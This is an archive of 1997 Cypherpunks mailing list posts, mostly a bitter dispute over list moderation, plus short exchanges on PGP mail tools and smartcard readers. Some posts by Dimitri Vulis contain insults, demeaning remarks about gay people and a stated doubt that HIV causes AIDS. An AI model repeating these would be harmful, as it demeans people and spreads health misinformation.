I have in the past been involved in heated arguments on just about every
list/newsgroup I have been involved in. :)

I think this goes back to the topic of reputation capital. IMHO the occational message
that get's droped into the 'flames list' would have little effect on ones reputation.
While a complete ban all of ones posting or even a majority of ones posts making it to the
'flames list' could/would have a detrimtal
effect.

Hmmmm... Actually there could be an intresting side affect of a moderated list to a
posters reputation. Lets take the following example:

John Doe likes posting rants & flames 90% of the time. The other 10% of the
time he posts intelegent messages. Now on an un-moderated list a majority of
subscribers would get tierd of his rants, write him off as a kook and kill-file him. His
10% of intelegent posts would be lost in the 90% of noise and his
reputation would be adversly effected within the group.

Now on a moderated list the 90% of rants & flames would never be seen by the
list only the other 10%. His would wind up having a much higher reputation
among the group compaired to if all his posts were seen. 

I am not quite sure how to judge this effect. Should one take into account
the kooky behavior of a poster when veiwing his 'non kooky' posts? Does
moderation have a detrimental effect to establishing a reputation based system for a group
(how would Don Woods reputation faired if his rant's on OTP's
& ISP had been filtered out?)


>  It is obvious that some of the more intuitively intelligent list
>members are aware of this, as is indicated by the nervous fear with
>which they 'explain why' their post is crypto-relevant.

IMHO this is sheepish though I have noticed it before moderation started.

If I have somthing to post to the list I see no reason to justify why I am
posting it. This post I am making now has zero crypto-relevance and I make
no appoligies for it. Do I think it is relevant to the list? Yes otherwise
I would not have posted it. Either way no explination for the post is needed.



- --
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: See the Future; See OS/2.  Be the Future; Run OS/2.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMunqw49Co1n+aLhhAQEhUQQAikxVlOQuCQuNq2DoZgIhj85RvfaEOkvO
6QqoecASeunSyvh5gtXH+p6n3kq6i/NLAUwcmPYUtkdpKdPaRk4/OkhTVGNuVEHM
eEQroUNNJ02g+42Gz9vEm2ZtWxWC9zAdIbmY/Hnw6SUyW/jgJKWNadd8Nh2HQYxV
CXMUpweNbdg=
=8pqg
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sat, 25 Jan 1997 05:42:38 -0800 (PST)
To: Hugh Daniel <cypherpunks@toad.com
Subject: Re: Scandinavian Goverments provide PGP to postal customers...
Message-ID: <3.0.32.19970125053419.006c8b54@192.100.81.136>
MIME-Version: 1.0
Content-Type: text/plain


At 06:29 PM 1/24/97 -0800, Hugh Daniel wrote:
>  FYI:
>>From: jsp@betz.biostr.washington.edu
[...]
>>    However, some hardware is required. Because the key is on a
>>    smartcard, users must have smartcard readers installed on their
>>    computers, which aren't yet widely available. But Pdr Andler of
>>    Finnish Hewlett Packard says that later this year, smartcard readers
>>    will become standard on computers in Scandinavia.
[...]

Interesting piece of trivia: I recently talked with a fellow from Intel. They are looking to purchase keyboards with smartcard readers built in. They hope to get them at $30/piece from suppliers in Asia. The lot size? 10 million.

That's a lot of smartcard readers. Even for Intel.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sat, 25 Jan 1997 05:42:40 -0800 (PST)
To: tekmasta@global.california.com
Subject: Re: your mail
Message-ID: <3.0.32.19970125053810.006c4a7c@192.100.81.136>
MIME-Version: 1.0
Content-Type: text/plain


At 06:54 PM 1/24/97 -0800, tekmasta@global.california.com wrote:
>can anyone help me out with getting pgp working... I just got 2.6.2
>excutable the freeware one and its for dos... I need to get one that works
>with eudora or netscape.... please help!

You want PGPMail. A free, full strength, beta is available at http://www.pgp.com/

PGPMail offers single click integration with Eudora. I use it myself.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 25 Jan 1997 04:37:01 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <854185258.62147.0@fatmans.demon.co.uk>
Message-ID: <32EA17E4.6E23@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


paul@fatmans.demon.co.uk wrote:
> 
> John Gilmore is free to appoint
> whoever he wants to moderate his list, he is free to censor all
> messages which criticise him and his censorship, however, subscribers
> to the list should be told they are being censored on these grounds
> and not on some facade of "crypto relevancy" or another thin veil
> drawn weakly over content based censorship to protect a certain class
> of list members.

  It became rather glaringly obvious after moderation was announced
that class structure would be the defining feature of moderation.
  Those who felt themselves to be in the 'upper class' made no
bones about it.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 25 Jan 1997 04:35:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cypher-Oops!
Message-ID: <32EA1A85.48D4@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


I was just wondering if the CypherPunks list is now the only list
that has an Administrative introduction for list members that could
not be posted in full to the list-proper, as it contains a flame
against an individual.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 25 Jan 1997 04:42:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <199701251011.CAA23843@toad.com>
Message-ID: <aP731D20w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


paul@fatmans.demon.co.uk writes:

> > I would like to start a thread to discuss the moderation and rejection
> > policy.
>
> No doubt we all would but such threads may, without recourse to proper
> moderation, all be thrown into cypherpunks-flames if Sandy believes
> they will be critical of him. (prove me wrong Sandy, send this to the
> moderated list).

Nope - Sandy tossed Paul's article to cypherpunks-flames, just like he
tossed a recent article pointing out that he's lying outright about his
moderation policies.

> > My perfectly crypto-relevant article regarding possible attacks
> > on human relationships with the use of forged mail and anonymous
> > remailers, has been tossed out (sorted) into cypherpunks-flames
> > mailing list.
>
> I don`t think I read the article (even though I subscribe to the
> unmoderated list), can you forward me a copy.
> As I understand it though, from other comentaries, it was junked
> because it was in response to a message by Dimitri who, given that it
> is Sandy that is moderating the list, is no doubt filtered by
> different criteria than anyone else on the list, in my opinion a
> censorous and fascist restraint as Dimitri has recently been posting
> more crypto relevant material, besides which whatever the content of
> his posts they should be open to review before a decision is made on
> if they are to be junked or not.

Has Paul reversed his previous pro-censorship stand and decided to
learn something about crypto from people who actually know some?

> > Sandy also states rather plainly that crypto-relevance is not the
> > criterion by which he moderates this list. I question this policy.
>
> Yes Sandy, please enlighten us, what is the criterion you use to
> moderate the list if not crypto-relevancy. I suspect an element of
> self preservation and protection of the list fuhrer and diktat maker
> John Gilmore (who, until the disgraceful incident with Dimitri
> commanded some respect on this list).

I used to respect Gilmore until this series of incidents (unsubscribing
me, turning list moderated).  Now I only have disdain for him.

> > I would like to hear your opinions as to whether such policies satisfy
> > the current readership.
>
> I don`t think this is the point, John Gilmore is free to appoint
> whoever he wants to moderate his list, he is free to censor all
> messages which criticise him and his censorship, however, subscribers
> to the list should be told they are being censored on these grounds
> and not on some facade of "crypto relevancy" or another thin veil
> drawn weakly over content based censorship to protect a certain class
> of list members.

Quite a few people have expressed interest in re-creating an unmoderated
cypherpunks list at another site if Gilmore decided to stick to his
"moderation experiment".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 25 Jan 1997 04:40:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: testing email from airport kiosk
In-Reply-To: <3.0.1.32.19970124172459.005ade48@popd.ix.netcom.com>
Message-ID: <L2731D22w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart <stewarts@ix.netcom.com> writes:

> An update on the SF airport kiosk email machines:
...
> It does support anonymous email, in that you can type in
> any email address you want, and it doesn't seem to mind.
> In addition to limited web, telnet,  and outgoing email,
> it lets you retrieve email with POP3.  Doesn't seem to be a way
> to get it to run a program, though :-)

My immediate guess would be that everyone using it gets videotaped,
then all activity is logged, and that the LEAs are waiting for some
idiot to use it to retrieve kiddie porn and/or terrorist bobm-making
instructions.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 25 Jan 1997 05:00:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Rejection policy of the Cypherpunks maiing list
In-Reply-To: <199701250508.FAA01408@mailhub.amaranth.com>
Message-ID: <1X831D24w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"William H. Geiger III" <whgiii@amaranth.com> writes:
> >  It is obvious that some of the more intuitively intelligent list
> >members are aware of this, as is indicated by the nervous fear with
> >which they 'explain why' their post is crypto-relevant.
>
> IMHO this is sheepish though I have noticed it before moderation started.
>
> If I have somthing to post to the list I see no reason to justify why I am
> posting it. This post I am making now has zero crypto-relevance and I make
> no appoligies for it. Do I think it is relevant to the list? Yes otherwise
> I would not have posted it. Either way no explination for the post is needed.

Sandy is irrelevant.  Why should we care if he tosses an article
to cyphepunks-flames or to the censored list?  Just subscribe to
cypherpunks-unedited and ignore Sandy.  If Gilmore persists in his
disgraceful behavior, create an unmoderated list elsewhere.

I think a lot of intelligent people have been wasting too much time
and energy analyzing the behavior of a twit who simply doesn't
deserve the attention his moderation effort has been getting.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 25 Jan 1997 05:20:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cypher-Oops!
In-Reply-To: <32EA1A85.48D4@sk.sympatico.ca>
Message-ID: <VB931D25w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:

> I was just wondering if the CypherPunks list is now the only list
> that has an Administrative introduction for list members that could
> not be posted in full to the list-proper, as it contains a flame
> against an individual.

The admin blurb flames L.Detweiller, a noted cryptographer hated by
J.Gilmore and T.May because he exposed their lies and hypocricy.
Flames directed at "non-persons" are allowed on the censored mailing
list. Responses from the victims of the slander, any any critical
discussion of the moderation policy are tossed to cypherpunks-flames.

If you don't like it, start your own unmoderated list.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Sat, 25 Jan 1997 08:25:45 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: TEST--FLAMES
Message-ID: <Pine.SUN.3.91.970125081004.7885O-100000@crl4.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

We are still working out the bugs.  This message is SUPPOSED to
go only to the unedited list and the flames list.  If it shows up
on the moderated list, we have a bug.  I'd like to have a couple
of you (Bill Stewart?  Lucky Green?) let me know so we can trace
down the problem and get it corrected.

Thanks,


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 25 Jan 1997 05:30:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Homo/bi/sexuals Most Destructive (fwd)
In-Reply-To: <199701250958.BAA23620@toad.com>
Message-ID: <0D031D28w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Duncan Frissell <frissell@panix.com> writes:

> -----BEGIN PGP SIGNED MESSAGE-----
>
> At 06:11 PM 1/24/97 -0600, Jim Choate wrote:
> >
> >Forwarded message:
> >
> >> Date: Fri, 24 Jan 97 21:33:41 +0000
> >> From: "Attila T. Hun" <attila@primenet.com>
> >> Subject: Re: Homo/bi/sexuals Most Destructive
> >
> >Much drivel about AIDS deleted.
> >
> >>         One of the saddest commentaries on the entire problem is the
> >>     man, a Pan-American flight steward, who was identified as carrier
> >>     #1 by the Communicable Disease Center (CDC) in Atlanta; he died
> >
> >The correct term is 'Patient 0'.
>
> Also he was an Air Canada steward.

I said we shouldn't waste time analyzing the moderator twit's irrelevant
actions, but I do want to point out how amusing this is: Sandy sends all
the rebuttals of "homophobic" posts to the censored list, while junking
the "homophobic" posts themselves.  Of course, none of this homosexual
garbage is crypto-relevant, but it was submitted by the "right people".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Sat, 25 Jan 1997 08:25:47 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: TEST--MODERATED
Message-ID: <Pine.SUN.3.91.970125081551.7885P-100000@crl4.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

We are still working out the bugs.  This message is SUPPOSED to
go only to the unedited list and the moderated list.  If it shows 
up on the flames list, we have a bug.  I'd like to have a couple
of you (Toto?  Dale Thorn?) let me know so we can trace down the 
problem and get it corrected.

Thanks,


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: wiseleo@juno.com (Leonid S Knyshov)
Date: Sat, 25 Jan 1997 09:12:40 -0800 (PST)
To: tekmasta@global.california.com
Subject: Re: your mail
In-Reply-To: <199701250958.BAA23623@toad.com>
Message-ID: <19970125.090725.11470.1.wiseleo@juno.com>
MIME-Version: 1.0
Content-Type: text/plain



>try my site too http://gcwp.com/fadedimage
>
>can anyone help me out with getting pgp working... I just got 2.6.2
>excutable the freeware one and its for dos... I need to get one that 
>works
>with eudora or netscape.... please help!

Well the obvious answer is to RTFM (Note: F is for fine) on DOS version,
its quite big. Also you seem to need Win PGP shell of some sort so that
you won't have to type those commands, i memorised my commands on the
3rd day of usage so no big deal about shells.

And then you cat'n'paste the code into your e-mail.

In some cases you can set it up as a spell checker ;)

Later.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: wiseleo@juno.com (Leonid S Knyshov)
Date: Sat, 25 Jan 1997 09:12:44 -0800 (PST)
To: jer+@andrew.cmu.edu
Subject: Re: Encrypting ZIP disks
In-Reply-To: <199701250958.BAA23622@toad.com>
Message-ID: <19970125.090725.11470.2.wiseleo@juno.com>
MIME-Version: 1.0
Content-Type: text/plain


>"David E. Smith" <dsmith@prairienet.org> writes:
>> 7.  Secure sensitive files.
>>      To keep sensitive or confidential information safe, store it
>>      on a Zip disk and use your Zip Tools software to assign a
>>      password that must be used in order to read from or write to
>>      the disk.  At work, you can protect sensitive information
>>      such as personnel files, company directories, and product
>>      plans and designs.  At home, you can secure personal
>>      information such as tax records, budgets, and computerized
>>      checkbooks.
>
>FWIW (not much), Iomega claims that it can't recover the data on a
>password-protected disk. However, they do export those things, so I
>doubt it's strong.

Well, I think one way to find out is to create 2 identical zip disks and
encrypt them with different passwords. Then do sector by sector compare
and see where the beast is hiding at :)

Leo.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Sat, 25 Jan 1997 09:18:20 -0800 (PST)
To: Hugh Daniel <hugh@ecotone.toad.com>
Subject: Re: Scandinavian Goverments provide PGP to postal customers...
Message-ID: <3.0.1.32.19970125090712.01bef148@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

>>    However, some hardware is required. Because the key is on a
>>    smartcard, users must have smartcard readers installed on their
>>    computers, which aren't yet widely available. But Pdr Andler of
>>    Finnish Hewlett Packard says that later this year, smartcard readers
>>    will become standard on computers in Scandinavia. "It is a really
>>    big help for users, who don't have to remember dozens of
>>    passwords when using different kind of services," Andler says.

Didn't HP have a GAKed smartcard they were pushing?  I wonder if anyone is
going to make assurances that no one is spliting the keys with the soundman...


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAwUBMuo9reQCP3v30CeZAQFl+gf+JXHoo2WAenGiHQuEFQcaxiAZ6SPQJE/K
PSBUqgksy+tcvcr8JsLGkkIDZLrJ9B0LaVp2wbbZY2j6YtcsGCgBW0WLXeXbKJve
e0L8epy1GHWPO3d8peiI4InnZaXWM815+TSI2aUDX+NBLMNIkX6/k4muwQtW6KAo
ysApcbxBWeyARWklyL3pCQyYRulPhtiPjlQ3g8dFVjx3PUhOmdTuK7rjCNo502MO
quXS07kkUFYhn53Mej4r90NZ88awdCKjytsDcIYVTZxY8sBanZ4Qux0OYGvwqfyr
fY2Hfd4GFBw/6FPLHn2IWD9AH5O7TudPOC4SAiLTymBGDct8vtBBUg==
=fF/v
-----END PGP SIGNATURE-----

---
|   If you're not part of the solution, You're part of the precipitate.  |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: satan_is_a_hacker@juno.com (Lou Zer)
Date: Sat, 25 Jan 1997 06:14:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [No Subject:]
In-Reply-To: <199701251011.CAA23842@toad.com>
Message-ID: <19970125.091136.3254.4.SATAN_is_a_HACKER@juno.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 25 Jan 1997 00:30:57 -0800 Bill Stewart <stewarts@ix.netcom.com>
writes:
>Hi!  It's useful to include a subject line in email so people
>can decide whether to read it and have more context for it,
>though calling yourself "fuck you" will probably deter a few people.
>There are lots of anarchists on the net; you can run into some good
>discussions on Usenet on several newsgroups with "anarchy" or 
>"anarchism"
>in the titles.  Rec.caves has good underground material......

You missed the hole point. You read that BECAUSE their was no header, if
it was ANARCHY you would have just deleted it.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 25 Jan 1997 06:40:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <s0B41D29w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:

> paul@fatmans.demon.co.uk wrote:
> >
> > John Gilmore is free to appoint
> > whoever he wants to moderate his list, he is free to censor all
> > messages which criticise him and his censorship, however, subscribers
> > to the list should be told they are being censored on these grounds
> > and not on some facade of "crypto relevancy" or another thin veil
> > drawn weakly over content based censorship to protect a certain class
> > of list members.
>
>   It became rather glaringly obvious after moderation was announced
> that class structure would be the defining feature of moderation.
>   Those who felt themselves to be in the 'upper class' made no
> bones about it.

That's a very insightful obeservation. "Cypher punks" are not opposed to
the system. They don't want to change the existing social order. They
want to join the upper class and enjoy its privileges (such as privacy
and anonymity). They don't want to extend these privileges to the "hoi
polloi" (unwashed masses). Jim Bell is a boor, but he had some very
interesting ideas that upset the "cypher punk" crowd because he advocates
dismantling the system they hope to join one day. This reminds me of
a U.S. populist politician from the 1930's whose name I forgot, who
advocated expropriating individual wealth above $5M. Why did his
disenfranchised supporters want to leave the rich with $5M? Because each
one hoped one day to have the $5M.

Here's the $64K question: if you were approached by a LEA and offered
a huge consulting fee to help break a code to obtain evidence in a
criminal case, would you do it? I suspect most "cypher punks" would
agree both for the money and for the glory, but no one would ask them
because very few people on this list can break codes. :-)

[No I would not, irrespective of the fee and the nature of the case.]

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 25 Jan 1997 06:40:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Homo/bi/sexuals Most Destructive (fwd)
In-Reply-To: <199701250957.BAA23606@toad.com>
Message-ID: <cBc41D30w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate <ravage@einstein.ssz.com> writes:
>
> Forwarded message:
>
> > From satan_is_a_hacker@juno.com Fri Jan 24 22:06:53 1997
> > Subject: Re: Homo/bi/sexuals Most Destructive (fwd)
> > Date: Fri, 24 Jan 1997 22:57:52 EST
> >
> > YOU ARE BOTH WRONG   THE CORRECT TERM IS INDEX CASE
>
> > >The correct term is 'Patient 0'.
>
> You are welcome to contact the CDC in Georgia and correct their terminology.
> I am shure they would appreciate it.
>
> http://www.cdc.gov/
>
> Their webpage search capability is temporarily down so you might have to
> talk to a real person,
>
> Center for Disease Control and Prevention
> 1600 Clifton Rd., NE.
> Atlanta, GA  30333
> 404-639-3311
>
>                                                    Jim Choate
>                                                    CyberTects
>                                                    ravage@ssz.com

I ask the moderator to explain why all these "breeder-bashing" flames
are posted to the censored list.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 25 Jan 1997 06:40:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: PSS_sst
In-Reply-To: <199701251010.CAA23794@toad.com>
Message-ID: <ycc41D31w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart <stewarts@ix.netcom.com> writes:

>
>
> #			Thanks;  Bill
> # Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
> # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
> #     (If this is a mailing list, please Cc: me on replies.  Thanks.)

This is another example of Sandy's odd-ball moderation policy.

Bill Stewart mistakenly cc:d the whole cypherpunks when he requested
a document from jya's 'bot.  Because Bill Stewart is part of the "in"
crowd, his submission was distributed to the censored list.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 25 Jan 1997 06:50:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: overview.htm
In-Reply-To: <199701250957.BAA23609@toad.com>
Message-ID: <FPc41D32w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate <ravage@einstein.ssz.com> writes:

>
>
>      _________________________________________________________________
>
>                              OVERVIEW OF HIV/AIDS
>
>
>      _________________________________________________________________
>
>    Some important facts about the evidence that HIV causes AIDS are:
>
>      * Tests for HIV antibody in persons with AIDS show that they are
>        infected with the virus.
>
>
>
>      * HIV has been isolated from persons with AIDS and grown in pure
>        culture.
>
>
>
>      * Studies of blood transfusion recipients before 1985 documented the
>        transmission of HIV to previously uninfected persons who
>        subsequently developed AIDS.
>
>
>
>    Before the discovery of human immunodeficiency virus (HIV), the virus
>    that causes AIDS, epidemiologic studies of AIDS patients' sex partners
>    and AIDS cases occurring in blood transfusion recipients before 1985
>    clearly showed that the underlying cause of AIDS was an infectious
>    agent. Infection with HIV has been the only common factor shared by
>    persons with AIDS throughout the world, including homosexual men,
>    transfusion recipients, persons with hemophilia, sex partners of
>    infected persons, children born to infected women, and health care
>    workers who were infected with HIV while on the job, mainly by being
>    stuck with a needle used on an HIV-infected patient.
>
>
>
>    Although we know that HIV is the cause of AIDS, much remains to be
>    known about exactly how HIV causes the immune system to break down.
>    Scientists are constantly discovering more information about HIV and
>    AIDS. These discoveries help people learn how to stop transmission of
>    the virus and help people infected with HIV to live longer, healthier
>    lives. One important question to answer is why some people exposed to
>    HIV become infected and others do not. Scientists believe it is most
>    likely because of how infectious the other person is and how they are
>    exposed. For example, more than 90 percent of persons who were exposed
>    through an HIV-infected unit of blood became infected. So we know that
>    blood-to-blood contact is a very efficient way that HIV is spread. On
>    the other hand, many health care workers are splashed with blood or
>    bloody body fluids and this type of exposure has caused very few
>    occurrences of HIV infection. Researchers know how HIV is spread and
>    the ways that people can help protect themselves from being exposed to
>    HIV.
>
>
>
>    If you have questions about HIV infection and AIDS, please call the
>    CDC National AIDS Hotline at the tollfree number, 1-800-342-2437. If
>    you wish to write to CDC regarding this subject, please write to the
>    CDC National AIDS Clearinghouse, Post Office Box 6003, Rockville,
>    Maryland, 20849-6003.
>
>
>      _________________________________________________________________
>
>         Back to HIV/AIDS Information Return to HIV/AIDS Information
>
>         Back to DHAP home page GO BACK TO DHAP HOME PAGE
>
>         (with graphics)
>         (text only)
>
>
>
>
>
>
>      _________________________________________________________________
>
>
>     Last Updated: June 13, 1996
>     Updated By: Technical Information Activity
>     email: hivmail@cidhiv1.em.cdc.gov
>


Why are the homos forwarding the web pages to the mailing list, and why
does the moderator post every piece of "breeder-bashing" trash to the
censored list, while rejecting whatever he deems "homophobic"?

[For the record, I have serious doubts whether the HIV virus causes AIDS.]

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 25 Jan 1997 06:50:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [No Subject:]
In-Reply-To: <19970125.091136.3254.4.SATAN_is_a_HACKER@juno.com>
Message-ID: <NZc41D33w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


satan_is_a_hacker@juno.com (Lou Zer) writes:

>
> On Sat, 25 Jan 1997 00:30:57 -0800 Bill Stewart <stewarts@ix.netcom.com>
> writes:
> >Hi!  It's useful to include a subject line in email so people
> >can decide whether to read it and have more context for it,
> >though calling yourself "fuck you" will probably deter a few people.
> >There are lots of anarchists on the net; you can run into some good
> >discussions on Usenet on several newsgroups with "anarchy" or
> >"anarchism"
> >in the titles.  Rec.caves has good underground material......
>
> You missed the hole point. You read that BECAUSE their was no header, if
> it was ANARCHY you would have just deleted it.

A logical conclusion is that rather than specifying no subject header,
you must specify one that's most likely to get the readers to read it,
not necessarily related to the contents. I suggest the subject
                         $$$ MANE.MONEY.FAST $$$
unless you do write about John Gilmore's PGP MLM scam.

P.S. Is the "hole point" another nickname for Sandy's orifice?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 25 Jan 1997 10:20:03 -0800 (PST)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Fighting the cybercensor. (fwd)
In-Reply-To: <3.0.1.32.19970124212455.005ade48@popd.ix.netcom.com>
Message-ID: <32EA4EA8.7894@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart wrote:
> At 07:38 PM 1/23/97 -0600, Jim Choate wrote:
> One of the points of the Ebonics program is to recognize that
> other people don't always speak the same way you do, and that
> if you want to communicate with them, you'll be more successful
> if you realize it, understand when they're talking in their dialect,

I could agree with "some of the points" of the Ebonics program were
it not for the fact of the hidden points.  Unbeknownst to most folks,
supporting a program on any erstwhile points will give support to the
program on *all* points.

One specific example:

When I worked for Firestone corporate from 1970 to 1981, we were
bullied into giving to the United Fund. (BTW, I learned how much
my boss was making by reading the punches on the IBM cards.) The one
bone they tossed us was we could specify which worthy causes our
personal contribution would go towards.  The trick was, if a certain
greater-than-expected number of people specified a Catholic charity,
for example, more funds would then be moved into the other charities
to balance that out.  Presumably those funds would come from those
folks who hadn't declared a designee.

In my view, once the contributors' specific designations were made,
the remaining undesignated contributions should have been split
across the designees according to the original percentages declared
in the U.F. literature.  Anything else would be a farce.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
